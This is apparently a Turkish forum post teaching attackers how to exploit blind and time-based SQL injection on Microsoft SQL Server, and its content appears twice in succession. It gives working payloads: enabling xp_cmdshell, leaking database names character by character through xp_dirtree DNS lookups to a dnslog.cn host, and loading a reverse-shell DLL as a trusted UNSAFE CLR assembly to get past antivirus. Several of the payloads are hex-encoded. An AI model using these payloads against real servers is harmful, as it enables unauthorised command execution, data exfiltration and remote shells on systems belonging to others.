Mssql injection’da karşımıza çıkan time based ve blind türlerinde sql server’da sistem procedure’lerini kullanıp rahatça komut çalıştırma veya istediğimiz sorgunun çıktısını rahatça almamızı sağlayacak bir kaç tekniği anlatacağım.
1-) xp_cmdshell : sql server tarafında rahatça komut çalıştırmamıza yarar.
2-) xp_dirtree : verdiğimiz pathin altındaki dosyları listelemeye yarar.
3-) CLR(Common Language Runtime) C# kodu ile geliştireceğimiz bir fonksiyonun sql server tarafından kullanılabilmesi için ve daha farklı şeyler için kullanabileceğimiz bir özelliktir.
Başlayalım;
waitfor delay ‘0:0:10’ verdim ve resimde gördüğünüz gibi çıktı aldım. Şimdi xp_cmdshelli aktif edip denemeler yapalım
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’, 1;
RECONFIGURE;
dnslog.cn 5’e bir ping -n 1 atalım ve sonucu görelim
declare VARCHAR(8000);set @test=0x70696E67202D6E2031206333727A32392E646E736C6F672E636E;exec master…xp_cmdshell @test–
Gördüğünüz gibi çıktı geldi. Burdan direk reverse shell alabiliriz fakat anlatmak istediğim bu değil.
xp_cmdshell veya xp_dirtree ile sql sorgumuzun çıktısını almaya çalışalım.
declare @test varchar(1024);set @test=(select db_name());exec(‘master…xp_dirtree "//’+@test+’.lehqud.dnslog.cn/a"’)
xp_cmdshell veya xp_dirtree ile time based ve blind sql olan yerlerde bu şekilde rahatça verileri alabilirsiniz ama şunu unutmayın dns isteğininde karakter sınırı var onun içinde substring ile teker teker çekmeniz gerekir
oda şu şekildedir
declare @test varchar(1024);set @test=(select substring(db_name(),1,1));exec(‘master…xp_dirtree "//’+@test+’.lehqud.dnslog.cn/a"’)
database adının ilk harfini almış olduk.
Şimdi gelelim clr ile reverse almaya.
C#'da yeni bir class dll projesi açıp basit bir reverse shell kodunu derleyelim (githubda tonla var)
Derledik çıktı dosyamız ClassLibrary.dll şimdi sql server tarafında antivirüs direk ötecektir bu durumda
dllimizin güvenliği olduğunu belirtmek için şunu yaparız.
Powershell’de Get-FileHash -Algorithm SHA512 .\ClassLibrary1.dll | Format-List
Hash çıktımızı aldık.
E18D5B5AC63FAED983C5E89F4C664F3F5E29D609D0DA29C55AD31D6C564DAE63A770FDB76800C8CB400E8FEED54F3C4731D38608E55BD69C05A0549206F1644D
sql server tarafında assemblyin güvenli olduğunu belirtelim
;sp_add_trusted_assembly 0xE18D5B5AC63FAED983C5E89F4C664F3F5E29D609D0DA29C55AD31D6C564DAE63A770FDB76800C8CB400E8FEED54F3C4731D38608E55BD69C05A0549206F1644D;
Sıra clr yi aktif edip dllimiz hexe çevirip çalıştırmak
EXEC sp_configure ‘clr enabled’, 1;
RECONFIGURE;
clri aktif ettik
linux tarafında dllimizi hexe döndürelim
şimdide sql serverda assembly oluşturalım
use msdb; CREATE ASSEMBLY Bomba FROM 0x hex çıktımız WITH PERMISSION_SET = UNSAFE
use msdb; dbo.sp_executesql @statement = N’CREATE FUNCTION Bcle(@ip nvarchar(max), @port int) RETURNS INT AS EXTERNAL NAME Bomba.[Bcver.Class1].Gonder’;
Ardından reverse shell alalım
SELECT [dbo].[Bcle] (‘ip adresimiz’, 8080);
Not: Fonksiyon oluşturma çalıştırma vs gibi sorguları declare içinde hex olarak verirseniz tırnakla vs uğraşmazsınız ve clr methodunda hex fazla olacağı için bad request’e düşebilir bu yüzden post sql injection olan yerlerde yapmanızı tavsiye ediyorum. Geri kalan bütün methodlar get vs üzerinde rahatça çalışır.
Örnek:
use msdb;declare @s varchar(4000);set @s=CAST(0x64626F2E73705F6578656375746573716C204073746174656D656E74203D204E274352454154452046554E4354494F4E2042636C6528406970206E76617263686172286D6178292C2040706F727420696E74292052455455524E5320494E542041532045585445524E414C204E414D4520426F6D62612E5B42637665722E436C617373315D2E476F6E646572273B AS varchar(4000));exec(@s)
declare @a varchar(4000);set @a=cast(0x53454C454354205B64626F5D2E5B42636C655D2028276970206164726573696D697A272C2038303830293B as varchar(4000));exec(@a)
1-) xp_cmdshell : sql server tarafında rahatça komut çalıştırmamıza yarar.
2-) xp_dirtree : verdiğimiz pathin altındaki dosyları listelemeye yarar.
3-) CLR(Common Language Runtime) C# kodu ile geliştireceğimiz bir fonksiyonun sql server tarafından kullanılabilmesi için ve daha farklı şeyler için kullanabileceğimiz bir özelliktir.
Başlayalım;

waitfor delay ‘0:0:10’ verdim ve resimde gördüğünüz gibi çıktı aldım. Şimdi xp_cmdshelli aktif edip denemeler yapalım
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’, 1;
RECONFIGURE;

dnslog.cn 5’e bir ping -n 1 atalım ve sonucu görelim

declare VARCHAR(8000);set @test=0x70696E67202D6E2031206333727A32392E646E736C6F672E636E;exec master…xp_cmdshell @test–

Gördüğünüz gibi çıktı geldi. Burdan direk reverse shell alabiliriz fakat anlatmak istediğim bu değil.
xp_cmdshell veya xp_dirtree ile sql sorgumuzun çıktısını almaya çalışalım.
declare @test varchar(1024);set @test=(select db_name());exec(‘master…xp_dirtree "//’+@test+’.lehqud.dnslog.cn/a"’)

xp_cmdshell veya xp_dirtree ile time based ve blind sql olan yerlerde bu şekilde rahatça verileri alabilirsiniz ama şunu unutmayın dns isteğininde karakter sınırı var onun içinde substring ile teker teker çekmeniz gerekir
oda şu şekildedir
declare @test varchar(1024);set @test=(select substring(db_name(),1,1));exec(‘master…xp_dirtree "//’+@test+’.lehqud.dnslog.cn/a"’)


database adının ilk harfini almış olduk.
Şimdi gelelim clr ile reverse almaya.
C#'da yeni bir class dll projesi açıp basit bir reverse shell kodunu derleyelim (githubda tonla var)
Derledik çıktı dosyamız ClassLibrary.dll şimdi sql server tarafında antivirüs direk ötecektir bu durumda
dllimizin güvenliği olduğunu belirtmek için şunu yaparız.
Powershell’de Get-FileHash -Algorithm SHA512 .\ClassLibrary1.dll | Format-List

Hash çıktımızı aldık.
E18D5B5AC63FAED983C5E89F4C664F3F5E29D609D0DA29C55AD31D6C564DAE63A770FDB76800C8CB400E8FEED54F3C4731D38608E55BD69C05A0549206F1644D
sql server tarafında assemblyin güvenli olduğunu belirtelim
;sp_add_trusted_assembly 0xE18D5B5AC63FAED983C5E89F4C664F3F5E29D609D0DA29C55AD31D6C564DAE63A770FDB76800C8CB400E8FEED54F3C4731D38608E55BD69C05A0549206F1644D;
Sıra clr yi aktif edip dllimiz hexe çevirip çalıştırmak
EXEC sp_configure ‘clr enabled’, 1;
RECONFIGURE;
clri aktif ettik

linux tarafında dllimizi hexe döndürelim

şimdide sql serverda assembly oluşturalım
use msdb; CREATE ASSEMBLY Bomba FROM 0x hex çıktımız WITH PERMISSION_SET = UNSAFE
use msdb; dbo.sp_executesql @statement = N’CREATE FUNCTION Bcle(@ip nvarchar(max), @port int) RETURNS INT AS EXTERNAL NAME Bomba.[Bcver.Class1].Gonder’;
Ardından reverse shell alalım
SELECT [dbo].[Bcle] (‘ip adresimiz’, 8080);

Not: Fonksiyon oluşturma çalıştırma vs gibi sorguları declare içinde hex olarak verirseniz tırnakla vs uğraşmazsınız ve clr methodunda hex fazla olacağı için bad request’e düşebilir bu yüzden post sql injection olan yerlerde yapmanızı tavsiye ediyorum. Geri kalan bütün methodlar get vs üzerinde rahatça çalışır.
Örnek:
use msdb;declare @s varchar(4000);set @s=CAST(0x64626F2E73705F6578656375746573716C204073746174656D656E74203D204E274352454154452046554E4354494F4E2042636C6528406970206E76617263686172286D6178292C2040706F727420696E74292052455455524E5320494E542041532045585445524E414C204E414D4520426F6D62612E5B42637665722E436C617373315D2E476F6E646572273B AS varchar(4000));exec(@s)
declare @a varchar(4000);set @a=cast(0x53454C454354205B64626F5D2E5B42636C655D2028276970206164726573696D697A272C2038303830293B as varchar(4000));exec(@a)
Moderatör tarafında düzenlendi: